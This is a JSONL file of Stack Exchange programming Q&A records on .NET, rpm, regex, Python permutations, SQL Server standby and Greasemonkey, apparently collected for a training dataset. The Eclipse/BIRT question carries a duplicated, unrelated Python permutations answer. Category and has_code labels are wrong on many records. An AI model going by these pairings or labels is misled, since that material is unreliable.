{"id": "hf_c68187d8708e", "question": "<p>I'm currently using <code>.resx</code> files to manage my server side resources for .NET.</p>\n\n<p>the application that I am dealing with also allows developers to plugin JavaScript into various event handlers for client side validation, etc.. What is the best way for me to localize my JavaScript messages and strings?  </p>\n\n<p>Ideally, I would like to store the strings in the <code>.resx</code> files to keep them with the rest of the localized resources.</p>\n\n<p>I'm open to suggestions.</p>\n", "question_body": "", "answer": "I would use an object/array notation:\n```\n```\nvar phrases={};\nphrases['fatalError'] ='On no!';\n```\n```\nThen you can just swap the JS file, or use an Ajax call to redefine your phrase list.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:25.858475"}
{"id": "hf_7d8c0fc2858a", "question": "<p>I know how to use rpm to list the contents of a package (<code>rpm -qpil package.rpm</code>). However, this requires knowing the location of the .rpm file on the filesystem. A more elegant solution would be to use the package manager, which in my case is YUM. How can YUM be used to achieve this?</p>\n", "question_body": "", "answer": "I don't think you can list the contents of a package using yum, but if you have the .rpm file on your local system (as will most likely be the case for all installed packages), you can use the rpm command to list the contents of that package like so:\n```\n```\nrpm -qlp /path/to/fileToList.rpm\n```\n```\nIf you don't have the package file (.rpm), but you have the package installed, try this:\n```\n```\nrpm -ql packageName\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:25.883034"}
{"id": "hf_8a1910d784dc", "question": "<p>I noticed in another post, someone had done something like:</p>\n\n<pre><code>double d = 3.1415;\nint i = Convert.ToInt32(Math.Floor(d));\n</code></pre>\n\n<p>Why did they use the convert function, rather than:</p>\n\n<pre><code>double d = 3.1415;\nint i = (int)d;\n</code></pre>\n\n<p>which has an implicit floor and convert.</p>\n\n<p>Also, more concerning, I noticed in some production code I was reading:</p>\n\n<pre><code>double d = 3.1415;\nfloat f = Convert.ToSingle(d);\n</code></pre>\n\n<p>Is that the same as:</p>\n\n<pre><code>float f = (float)d;\n</code></pre>\n\n<p>Are all those otherwise implicit conversions just in the Convert class for completeness, or do they serve a purpose? I can understand a need for .ToString(), but not the rest.</p>\n", "question_body": "", "answer": "You can use Convert when you have a string that you want to convert to an int\n```\n```\nint i = Convert.ToInt32(\"1234\");\n```\n```\nConvert and casting will both throw an exception if they fail.\ni.e, this will still throw an exception, it will not return 0:\n```\n```\nConvert.ToInt32(\"1234NonNumber\");\n```\n```\nIn many cases Convert and casting will have the same result, but a cast is often times easier to read.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:25.907248"}
{"id": "hf_6e9159513ac6", "question": "<p>Let's say we have the following method declaration:</p>\n\n<pre><code>Public Function MyMethod(ByVal param1 As Integer, _\n    Optional ByVal param2 As Integer = 0, _\n    Optional ByVal param3 As Integer = 1) As Integer\n\n    Return param1 + param2 + param3\nEnd Function\n</code></pre>\n\n<p>How does VB.NET make the optional parameters work within the confines of the CLR? Are optional parameters CLS-Compliant?</p>\n", "question_body": "", "answer": "Contrary to popular belief, optional parameters do appear to be CLS-compliant. (However, my primary check for this was to mark the assembly, class and method all with the CLSCompliant attribute, set to True.)\nSo what does this look like in MSIL?\n```\n```\n.method public static int32  MyMethod(int32 param1,\n                                      [opt] int32 param2,\n                                      [opt] int32 param3) cil managed\n{\n  .custom instance void [mscorlib]System.CLSCompliantAttribute::.ctor(bool) = ( 01 00 01 00 00 ) \n  .param [2] = int32(0x00000000)\n  .param [3] = int32(0x00000001)\n  // Code size       11 (0xb)\n  .maxstack  2\n  .locals init ([0] int32 MyMethod)\n  IL_0000:  nop\n  IL_0001:  ldarg.0\n  IL_0002:  ldarg.1\n  IL_0003:  add.ovf\n  IL_0004:  ldarg.2\n  IL_0005:  add.ovf\n  IL_0006:  stloc.0\n  IL_0007:  br.s       IL_0009\n  IL_0009:  ldloc.0\n  IL_000a:  ret\n} // end of method Module1::MyMethod\n```\n```\nNote the [opt] markings on the parameters -- MSIL supports this natively, without any hacks. (Unlike MSIL's support for VB's Static keyword, which is another topic altogether.)\nSo, why aren't these in C#? I can't answer that, other than my speculation that it might be a presumed lack of demand. My own preference has always been to specify the parameters, even if they were optional -- to me, the code looks cleaner and is easier to read. (If there are omitted parameters, I often look first for an overload that matches the visible signature -- it's only after I fail to find one that I realize that optional parameters are involved.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:25.944376"}
{"id": "hf_892671413841", "question": "<p>I have written a simple HTTP Proxy server in C# that I would like to integration/functional test.  Is there a product already created that I could use to do this?  If not, what is the best way to write my own tests for this (I already have unit tests)?</p>\n", "question_body": "", "answer": "To test the integration by delivering a webpage you could try one of the following:\nSelenium\nWaTiN\nWatir\nYou can run Watin tests directly from xUnit in C# too - we do this for our applications. I also believe it is possible to dynamically set the proxy settings in the browser for Watin (and probably the others too).\nAlternatively to make HTTP requests to a given address try\nJMeter\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:25.999769"}
{"id": "hf_28c60db7749a", "question": "<p>In most modern IDEs there is a parameter that you can set to ensure javac gets enough heap memory to do its compilation.  For reasons that are not worth going into here, we are tied for the time being to JBuilder 2005/2006, and it appears the amount of source code has exceeded what can be handled by javac.</p>\n\n<p>Please keep the answer specific to JBuilder 2005/2006 javac (we cannot migrate away right now, and the Borland Make compiler does not correctly support Java 1.6)</p>\n\n<p>I realize how and what parameters <em>should</em> be passed to javac, the problem is the IDE doesn't seem to allow these to be set anywhere.  A lot of configuration is hidden down in the Jbuilder Install\\bin*.config files, I feel the answer may be in there somewhere, but have not found it.</p>\n", "question_body": "", "answer": "Have a look at\nhttp://javahowto.blogspot.com/2006/06/fix-javac-java-lang-outofmemoryerror.html\nThe arguments that you need to pass to JBuilder's javac is \"-J-Xms256m -J-Xmx256m\". Replace the 256m with whatever is appropriate in your case. Also, remove the quotes.\nThis should work for java 1.4, java 1.5 and forward.\nBR,\n~A", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:26.048483"}
{"id": "hf_02ecc1e16377", "question": "<p>I have a crash dump of an application that is supposedly leaking GDI.  The app is running on XP and I have no problems loading it into WinDbg to look at it.  Previously we have use the <a href=\"http://msdn.microsoft.com/en-us/library/cc267206.aspx\" rel=\"noreferrer\">Gdikdx.dll extension</a> to look at Gdi information but this extension is not supported on XP or Vista. </p>\n\n<p>Does anyone have any pointers for finding GDI object usage in WinDbg.  </p>\n\n<p>Alternatively, I do have access to the failing program (and its stress testing suite) so I can reproduce on a running system if you know of any 'live' debugging tools for XP and Vista (or Windows 2000 though this is not our target).</p>\n", "question_body": "", "answer": "There was a\nMSDN Magazine article from several years ago\nthat talked about GDI leaks.  This points to several different places with good information.\nIn WinDbg, you may also try the\n```\n!poolused\n```\ncommand for some information.\nFinding resource leaks in from a crash dump (post-mortem) can be difficult -- if it was always the same place, using the same variable that leaks the memory, and you're lucky, you could see the last place that it will be leaked, etc.  It would probably be much easier with a live program running under the debugger.\nYou can also try using\nMicrosoft Detours\n, but the license doesn't always work out.  It's also a bit more invasive and advanced.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:26.072990"}
{"id": "hf_e93bab30d4ed", "question": "<p>There is a case where a map will be constructed, and once it is initialized, it will never be modified again.  It will however, be accessed (via get(key) only) from multiple threads.  Is it safe to use a <code>java.util.HashMap</code> in this way?</p>\n\n<p>(Currently, I'm happily using a <code>java.util.concurrent.ConcurrentHashMap</code>, and have no measured need to improve performance, but am simply curious if a simple <code>HashMap</code> would suffice.  Hence, this question is <em>not</em> \"Which one should I use?\" nor is it a performance question.  Rather, the question is \"Would it be safe?\")</p>\n", "question_body": "", "answer": "http://www.docjar.com/html/api/java/util/HashMap.java.html\nhere is the source for HashMap. As you can tell, there is absolutely no locking / mutex code there.\nThis means that while its okay to read from a HashMap in a multithreaded situation, I'd definitely use a ConcurrentHashMap if there were multiple writes.\nWhats interesting is that both the .NET HashTable and Dictionary<K,V> have built in synchronization code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:26.119551"}
{"id": "hf_b8b889197029", "question": "<p>What are the benefits of doing static code analysis on your source code? I was playing around with FxCop and I was wondering if there any benefits beyond making sure you are following the coding standards. </p>\n", "question_body": "", "answer": "actually, fxcop doesn't particularly help you follow a coding standard.  What it does help you with is designing a well-thought out framework/API.  It's true that parts of the coding standard (such as casing of public members) will be caught by FxCop, but coding standards isn't the focus.\ncoding standards can be checked with\nstylecop\n, which checks the source code instead of the MSIL like fxcop does.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:26.154995"}
{"id": "hf_5593f3c21311", "question": "<p>Situation: A PHP application with multiple installable modules creates a new table in database for each, in the style of mod_A, mod_B, mod_C etc. Each has the column section_id.</p>\n\n<p>Now, I am looking for all entries for a specific section_id, and I'm hoping there's another way besides \"Select * from mod_a, mod_b, mod_c ... mod_xyzzy where section_id=value\"... or even worse, using a separate query for each module.</p>\n", "question_body": "", "answer": "What about?\n```\n```\nSELECT * FROM mod_a WHERE section_id=value\nUNION ALL\nSELECT * FROM mod_b WHERE section_id=value\nUNION ALL\nSELECT * FROM mod_c WHERE section_id=value\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:26.213876"}
{"id": "hf_00e5ad0f4ca4", "question": "<p>What is the syntax and which namespace/class needs to be imported? Give me sample code if possible. It would be of great help.</p>\n", "question_body": "", "answer": "Put the following where you need it:\n```\n```\nSystem.Diagnostics.Debugger.Break();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:26.237059"}
{"id": "hf_e70178061b73", "question": "<p>I'm having an issue with my regex.</p>\n\n<p>I want to capture &lt;% some stuff %> and i need what's inside the &lt;% and the %></p>\n\n<p>This regex works quite well for that.</p>\n\n<pre><code>$matches = preg_split(\"/&lt;%[\\s]*(.*?)[\\s]*%&gt;/i\",$markup,-1,(PREG_SPLIT_NO_EMPTY  |  PREG_SPLIT_DELIM_CAPTURE));\n</code></pre>\n\n<p>I also want to catch <code>&amp;amp;% some stuff %&amp;amp;gt;</code>   so I need to capture <code>&lt;% or &amp;amp;lt;% and %&gt; or %&amp;amp;gt;</code> respectively.  </p>\n\n<p>If I put in a second set of parens, it makes preg_split function differently (because as you can see from the flag, I'm trying to capture what's inside the parens.</p>\n\n<p>Preferably, it would only match <code>&amp;amp;lt; to &amp;amp;gt; and &lt; to &gt;</code> as well, but that's not completely necessary</p>\n\n<p>EDIT:  The SUBJECT may contain multiple matches, and I need all of them</p>\n", "question_body": "", "answer": "In your case, it's better to use preg_match with its additional parameter and parenthesis:\n```\n```\npreg_match(\"#((?:<|&lt;)%)([\\s]*(?:[^ø]*)[\\s]*?)(%(?:>|&gt;))#i\",$markup, $out);\nprint_r($out);\n\nArray\n(\n    [0] => <% your stuff %>\n    [1] => <%\n    [2] => your stuff\n    [3] => %>\n)\n```\n```\nBy the way, check this online tool to debug PHP regexp, it's so useful !\nhttp://regex.larsolavtorvik.com/\nEDIT : I hacked the regexp a bit so it's faster. Tested it, it works :-)\nNow let's explain all that stuff :\npreg_match will store everything he captures in the var passed as third param (here $out)\nif preg_match matches something, it will be store in $out[0]\nanything that is inside () but not (?:) in the pattern will be stored in $out\nThe patten in details :\n```\n```\n#((?:<|&lt;)%)([\\s]*(?:[^ø]*)[\\s]*?)(%(?:>|&gt;))#i can be viewed as ((?:<|&lt;)%) + ([\\s]*(?:[^ø]*)[\\s]*?) + (%(?:>|&gt;)).\n\n((?:<|&lt;)%) is capturing < or &lt; then %\n(%(?:>|&gt;)) is capturing % then < or &gt; \n([\\s]*(?:[^ø]*)[\\s]*?) means 0 or more spaces, then 0 or more times anything that is not the ø symbol, the 0 or more spaces.\n```\n```\nWhy do we use [^ø] instead of . ? It's because . is very time consuming, the regexp engine will check among all the existing characters. [^ø] just check if the char is not ø. Nobody uses ø, it's an international money symbol, but if you care, you can replace it by chr(7) wich is the shell bell char that's obviously will never be typed in a web page.\nEDIT2 : I just read your edit about capturing all the matches. In that case, you´ll use preg_match_all the same way.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:26.261065"}
{"id": "hf_d232853e6e27", "question": "<p>How do you install Boost on MacOS?\nRight now I can't find bjam for the Mac.</p>\n", "question_body": "", "answer": "Download\nMacPorts\n, and run the following command:\n```\n```\nsudo port install boost\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:26.365710"}
{"id": "hf_7f1ee8459e3f", "question": "<p>I'm doing some Objective-C programming that involves parsing an NSXmlDocument and populating an objects properties from the result.</p>\n\n<p>First version looked like this:</p>\n\n<pre><code>if([elementName compare:@\"companyName\"] == 0) \n  [character setCorporationName:currentElementText]; \nelse if([elementName compare:@\"corporationID\"] == 0) \n  [character setCorporationID:currentElementText]; \nelse if([elementName compare:@\"name\"] == 0) \n  ...\n</code></pre>\n\n<p>But I don't like the <code>if-else-if-else</code> pattern this produces. Looking at the <code>switch</code> statement I see that i can only handle <code>ints</code>, <code>chars</code> etc and not objects... so is there a better implementation pattern I'm not aware of?</p>\n\n<p>BTW I did actually come up with a better solution for setting the object's properties, but I want to know specifically about the <code>if</code>-<code>else</code> vs <code>switch</code> pattern in Objective-C</p>\n", "question_body": "", "answer": "The most common refactoring suggested for eliminating if-else or switch statements is introducing polymorphism (see\nhttp://www.refactoring.com/catalog/replaceConditionalWithPolymorphism.html\n).  Eliminating such conditionals is most important when they are duplicated.  In the case of XML parsing like your sample you are essentially moving the data to a more natural structure so that you won't have to duplicate the conditional elsewhere.  In this case the if-else or switch statement is probably good enough.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:26.422481"}
{"id": "hf_cc907ad0ded5", "question": "<p>I wrote an application in Java and when it runs on one customer's computer running OS X The Save and Export buttons are disabled. (Everything else works in the application.)</p>\n\n<p>Both of these buttons open up a standard save file dialog.</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "The fact that these buttons open a file dialog probably has nothing to do with it being disabled. Buttons can end up being disabled for a number of reasons,\nits\n```\nsetEnabled\n```\ncan be called with\n```\nfalse\n```\n,\nwhen using an action, its\n```\nsetEnabled\n```\ncan be called with\n```\nfalse\n```\n, and\nwhen using an action, it can have a property \"enabled\" that potentially disables it; see\nAction\nfor more information, there's a list of properties there.\nCould you post how you 'implemented the JButtons'?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:26.480716"}
{"id": "hf_a54da86d8942", "question": "<p>How do I generate all the permutations of a list? For example:</p>\n<pre><code>permutations([])\n[]\n\npermutations([1])\n[1]\n\npermutations([1, 2])\n[1, 2]\n[2, 1]\n\npermutations([1, 2, 3])\n[1, 2, 3]\n[1, 3, 2]\n[2, 1, 3]\n[2, 3, 1]\n[3, 1, 2]\n[3, 2, 1]\n</code></pre>\n", "question_body": "", "answer": "This solution implements a generator, to avoid holding all the permutations on memory:\n```\n```\ndef permutations (orig_list):\n    if not isinstance(orig_list, list):\n        orig_list = list(orig_list)\n\n    yield orig_list\n\n    if len(orig_list) == 1:\n        return\n\n    for n in sorted(orig_list):\n        new_list = orig_list[:]\n        pos = new_list.index(n)\n        del(new_list[pos])\n        new_list.insert(0, n)\n        for resto in permutations(new_list[1:]):\n            if new_list[:1] + resto <> orig_list:\n                yield new_list[:1] + resto\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:26.539445"}
{"id": "hf_ebe4705e6a13", "question": "<p>The Eclipse projects are all stored in the Eclipse Foundation CVS servers.  Using the source is a great way to debug your code and to figure out how to do new things.   </p>\n\n<p>Unfortunately in a large software project like BIRT, it can be difficult to know which projects and versions are required for a particular build. So what is the best way to get the source for a particular build?</p>\n", "question_body": "", "answer": "This solution implements a generator, to avoid holding all the permutations on memory:\n```\n```\ndef permutations (orig_list):\n    if not isinstance(orig_list, list):\n        orig_list = list(orig_list)\n\n    yield orig_list\n\n    if len(orig_list) == 1:\n        return\n\n    for n in sorted(orig_list):\n        new_list = orig_list[:]\n        pos = new_list.index(n)\n        del(new_list[pos])\n        new_list.insert(0, n)\n        for resto in permutations(new_list[1:]):\n            if new_list[:1] + resto <> orig_list:\n                yield new_list[:1] + resto\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:26.563814"}
{"id": "hf_176c54dd42cf", "question": "<p>How can styles be applied to CheckBoxList ListItems.  Unlike other controls, such as the Repeater where you can specify <code>&lt;ItemStyle&gt;</code>, you can't seem to specify a style for each individual control.</p>\n\n<p>Is there some sort of work around?</p>\n", "question_body": "", "answer": "It seems the best way to do this is to create a new CssClass.  ASP.NET translates CheckBoxList into a table structure.\nUsing something like\nStyle.css\n```\n```\n.chkboxlist td \n{\n    font-size:x-large;\n}\n```\n```\nPage.aspx\n```\n```\n<asp:CheckBoxList ID=\"chkboxlist1\" runat=\"server\" CssClass=\"chkboxlist\" />\n```\n```\nwill do the trick", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:26.611188"}
{"id": "hf_b40cf1eae3f3", "question": "<p>Has anyone else experienced this error? Sometimes it pops up at the beginning of loading the application with Argument Error 2082. The only way I can solve it is by rebooting my machine. Restarting the browser doesn't even solve it. I have read about some solutions on the web, but I am interested in knowing what others have tried using that solved the error for them? Thanks in advance.</p>\n", "question_body": "", "answer": "Are you talking about the\nActionscript 3.0 Runtime Error 2082\n?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:26.689936"}
{"id": "hf_9e2b6df428df", "question": "<p>BITS, the Windows background intelligent transfer service.</p>\n\n<p>Looks like there are a few C# wrappers around that manage the interop to BITS, does anybody have any opinions on the best one?</p>\n", "question_body": "", "answer": "Check out the following:\nhttp://www.codeproject.com/KB/cs/Managed_BITS.aspx\nhttp://www.simple-talk.com/dotnet/.net-tools/using-bits-to-upload-files-with-.net/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:26.715771"}
{"id": "hf_d6298f952f93", "question": "<p>We have a warm sql backup.  full backup nightly, txn logs shipped every so often during the day and restored.  I need to move the data files to another disk.  These DB's are in a \"warm backup\" state (such that I can't unmark them as read-only - \"Error 5063: Database '&lt;dbname>' is in warm standby. A warm-standby database is read-only.\n\") and am worried about detaching and re-attaching.  </p>\n\n<p>How do we obtain the \"warm backup\" status after detach/attach operations are complete?</p>\n", "question_body": "", "answer": "The only solution I know is to create a complete backup of your active database and restore this backup to a copy of the database in a 'warm backup' state. First create a backup from the active db:\n```\n```\nbackup database activedb to disk='somefile'\n```\n```\nThen restore the backup on another sql server. If needed you can use the WITH REPLACE option to change the default storage directory\n```\n```\nrestore database warmbackup from disk='somefile'\n       with norecovery, replace ....\n```\n```\nNow you can create backups of the logs and restore them to the warmbackup with the restore log statement.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:26.763708"}
{"id": "hf_1095d313668b", "question": "<p>What's the widest overview and where are the deepest analysis of different replication methods and problems?</p>\n", "question_body": "", "answer": "In my opinion, you should pick a mainstream database (such as Oracle) and study everything it offers and go from there.\nOracle offers:\nReplication\nData guard (standby database and beyond- physical, logical)\nReal Application Clusters - (multiple instances, one DB)\nand more !\nA bit of hands-on would not hurt so you can download a PC version and try various replication approaches on one PC!\nEnjoy !", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:26.799907"}
{"id": "hf_f5ea9f3939ce", "question": "<p>Is there any way that my script can retrieve metadata values that are declared in its own header? I don't see anything promising in the API, except perhaps <code>GM_getValue()</code>. That would of course involve a special name syntax. I have tried, for example: <code>GM_getValue(\"@name\")</code>.</p>\n\n<p>The motivation here is to avoid redundant specification.</p>\n\n<p>If GM metadata is not directly accessible, perhaps there's a way to read the body of the script itself. It's certainly in memory somewhere, and it wouldn't be too awfully hard to parse for <code>\"// @\"</code>. (That may be necessary in my case any way, since the value I'm really interested in is <code>@version</code>, which is an extended value read by <a href=\"http://userscripts.org/\" rel=\"noreferrer\">userscripts.org</a>.)</p>\n", "question_body": "", "answer": "This answer is out of date :\nAs of Greasemonkey 0.9.16 (Feb 2012) please see\nBrock's answer\nregarding\n```\nGM_info\n```\nYes. A very simple example is:\n```\n```\nvar metadata=<> \n// ==UserScript==\n// @name           Reading metadata\n// @namespace      http://www.afunamatata.com/greasemonkey/\n// @description    Read in metadata from the header\n// @version        0.9\n// @include        https://stackoverflow.com/questions/104568/accessing-greasemonkey-metadata-from-within-your-script\n// ==/UserScript==\n</>.toString();\n\nGM_log(metadata);\n```\n```\nSee\nthis thread on the greasemonkey-users group\nfor more information. A more robust implementation can be found near the end.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:26.824073"}
{"id": "hf_7835d90db552", "question": "<p>I haven't been able to find any documentation on hardware access via the iPhone SDK so far. I'd like to be able to send signals via the dock connector to an external hardware device but haven't seen any evidence that this is accessible via the SDK (not interested in possibilities on jailbroken iPhones).</p>\n\n<p>Anyone have any pointers to docs for this or some idea of what deep dark corner i should look?</p>\n", "question_body": "", "answer": "This falls into the range of capabilities that requires working with Apple to get a special license.  At, I presume, a special price.\nThis has changed to some extent with the 3.0 version of the iPhone firmware.  If PyjamaSam is correct there is still some special activity required to get the connector specifications.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:26.864624"}
{"id": "hf_6d38fcce4953", "question": "<p>Everywhere I look always the same explanation pop ups.<br/>\nConfigure the view resolver.</p>\n\n<pre><code>&lt;bean id=\"viewMappings\"\n      class=\"org.springframework.web.servlet.view.ResourceBundleViewResolver\"&gt;\n    &lt;property name=\"basename\" value=\"views\" /&gt;\n&lt;/bean&gt;\n</code></pre>\n\n<p>And then put a file in the classpath named view.properties with some key-value pairs (don't mind the names).<br/></p>\n\n<pre><code>logout.class=org.springframework.web.servlet.view.JstlView\nlogout.url=WEB-INF/jsp/logout.jsp\n</code></pre>\n\n<p>What does <code>logout.class</code> and <code>logout.url</code> mean?<br/>\nHow does <code>ResourceBundleViewResolver</code> uses the key-value pairs in the file?<br/>\nMy goal is that when someone enters the URI <code>myserver/myapp/logout.htm</code> the file <code>logout.jsp</code> gets served.</p>\n", "question_body": "", "answer": "ResourceBundleViewResolver uses the key/vals in views.properties to create view beans (actually created in an internal application context). The name of the view bean in your example will be \"logout\" and it will be a bean of type JstlView. JstlView has an attribute called URL which will be set to \"WEB-INF/jsp/logout.jsp\". You can set any attribute on the view class in a similar way.\nWhat you appear to be missing is your controller/handler layer. If you want /myapp/logout.htm to serve logout.jsp, you must map a Controller into /myapp/logout.htm and that Controller needs to return the view name \"logout\". The ResourceBundleViewResolver will then be consulted for a bean of that name, and return your instance of JstlView.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:26.888659"}
{"id": "hf_3570e2437a13", "question": "<p>I've been trying to get into F# on and off for a while but I keep getting put off.  Why?</p>\n\n<p>Because no matter which 'beginners' resource I try to look at I see very simple examples that start using the operator <code>-&gt;</code>.</p>\n\n<p>However, nowhere have I found as yet that provides a clear simple explanation of what this operator means.  It's as though it must be so obvious that it doesn't need explanation even to complete newbies.</p>\n\n<p>I must therefore be really dense or perhaps it's nearly 3 decades of previous experience holding me back.</p>\n\n<p>Can someone please, explain it or point to a truly accessible resource that explains it?</p>\n", "question_body": "", "answer": "It basically means \"maps to\". Read it that way or as \"is transformed into\" or something like that.\nSo, from the\nF# in 20 minutes\ntutorial,\n```\n```\n> List.map (fun x -> x % 2 = 0) [1 .. 10];;\nval it : bool list\n= [false; true; false; true; false; true; false; true; false; true]\n```\n```\nThe code (fun i -> i % 2 = 0) defines\n  an anonymous function, called a lambda\n  expression, that has a parameter x and\n  the function returns the result of \"x\n  % 2 = 0\", which is whether or not x is\n  even.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:26.986108"}
{"id": "hf_01f2c894ef96", "question": "<p>Are there any good database schema comparison tools out there that support Sybase SQL Anywhere version 10?  I've seen a litany of them for SQL Server, a few for MySQL and Oracle, but nothing that supports SQL Anywhere correctly.  </p>\n\n<p>I tried using DB Solo, but it turned all my non-unique indexes into unique ones, and I didn't see any options to change that.</p>\n", "question_body": "", "answer": "SQLDelta\nis awesome. It is for SQL Server. I've used it with SQL 2000 and 2005. It will compare stored procedures, tables, views, permissions, indexes, etc. It can also compare data between tables I believe. You can sync the changes or generate SQL Scripts for later use. I use it often to script out db changes in development to production.\nAh...missed the Sybase remark. Not sure if SQLDelta can talk to it..but I'd probably give it a shot since Sybase is similar.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:27.009813"}
